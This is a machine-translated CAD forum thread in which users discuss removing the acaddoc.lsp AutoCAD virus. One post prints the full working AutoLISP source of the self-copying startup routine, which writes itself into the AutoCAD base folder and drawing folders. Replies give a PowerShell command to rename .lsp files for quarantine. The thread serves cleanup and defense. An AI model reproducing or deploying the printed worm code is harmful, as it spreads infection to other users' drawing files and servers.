社区 › CAD › 阿卡多克&gt；lsp

HasanCAD 发表于 2015-6-9 08:13:50

阿卡多克&gt；lsp

大家好
打开cad文件时，会出现此消息。我相信这是阿卡多克。LSP病毒
如何阻止病毒攻击服务器上的文件


**** Hidden Message *****

Master_Shake 发表于 2015-6-9 08:22:52

首先，为什么一个项目文件夹中有一个lisp例程？
如果要运行的例程
不在
弹出窗口显示的指定安全文件夹中，AutoCAD会在lisp例程中启动安全目录功能。

Master_Shake 发表于 2015-6-9 08:23:29

双重发布，
我会上传该文件，我们可以验证它是否干净

Rob... 发表于 2015-6-9 08:25:02

这已经存在很长时间了，有很多关于如何摆脱它的信息。你需要帮助寻找解决方案还是在寻找有第一手经验的人？

Rob... 发表于 2015-6-9 08:25:57

病毒把它放在那里。

HasanCAD 发表于 2015-6-9 08:57:07

似曾相识再次
警告：除非您确切地知道该文件的作用，否则请勿在本地下载并保存此文件...用户当心！！
注意添加了 kdub。
这是文件。
(defun-q s::startup
         (/ basepath      baseacad      acaddocpath
            r-acaddoc       w-basepath      rl-acaddoc
            acaddoclsp      c-acaddocname   c-acaddocpath
            c-acaddoc
         )
         (setq basepath
                (findfile "base.dcl")
         )
         (setq basepath
                (substr basepath 1 (- (strlen basepath) 8))
         )
         (setq baseacad (strcat basepath "acaddoc.lsp"))
         (setq acaddocpath (findfile "acaddoc.lsp"))
         (setq acaddocpath
                (substr acaddocpath
                        1
                        (- (strlen acaddocpath) 11)
                )
         )
         (setq acaddoclsp (strcat acaddocpath "acaddoc.lsp"))
         (setq c-acaddocname (getvar "dwgname"))
         (setq c-acaddocpath (findfile c-acaddocname))
         (setq c-acaddocpath
                (substr c-acaddocpath
                        1
                        (- (strlen c-acaddocpath) (strlen c-acaddocname))
                )
         )
         (setq c-acaddoc
                (strcat c-acaddocpath "acaddoc.lsp")
         )
         (if
         (and
             (/= basepath acaddocpath)
             (= c-acaddocpath acaddocpath)
         )
            (progn
            (setq r-acaddoc
                     (open acaddoclsp "r")
            )
            (setq w-basepath
                     (open baseacad "w")
            )
            (while
                (setq rl-acaddoc
                     (read-line r-acaddoc)
                )
               (write-line rl-acaddoc w-basepath)
            )
            (close w-basepath)
            (close r-acaddoc)
            )

            (progn
            (setq r-acaddoc
                     (open acaddoclsp "r")
            )
            (setq w-basepath
                     (open c-acaddoc "w")
            )
            (while
                (setq rl-acaddoc
                     (read-line r-acaddoc)
                )
               (write-line rl-acaddoc w-basepath)
            )
            (close w-basepath)
            (close r-acaddoc)
            )
         )
         (princ)
)
(load "acadapq")
(princ)

Master_Shake 发表于 2015-6-9 09:02:02

参考这里，
事实上你就是最初的海报

BlackBox 发表于 2015-6-9 09:31:15

关闭 AutoCAD 的所有会话，然后让您的 IT 管理员或使用具有足够 Active Directory 权限的域帐户负责的人员将此 PowerShell（作为管理员？）：Get-ChildItem \*.* -Include *.lsp |重命名项 -新名称 { $_.名称 -替换 “.lsp”，“.lsp.blacklist” }。
* 警告 - 此 PowerShell 将重命名所有项目文件夹中的所有 *.lsp 文件;根据需要更改生成的文件扩展名，。

Kerry 发表于 2015-6-9 09:38:34

该线程看起来很熟悉

HasanCAD 发表于 2015-6-9 10:16:41

我们可以使用＜br＞吗\*.* -Include acaddoc.lsp | 而不是
\*.* -Include *.lsp |

查看完整版本: 阿卡多克&gt；lsp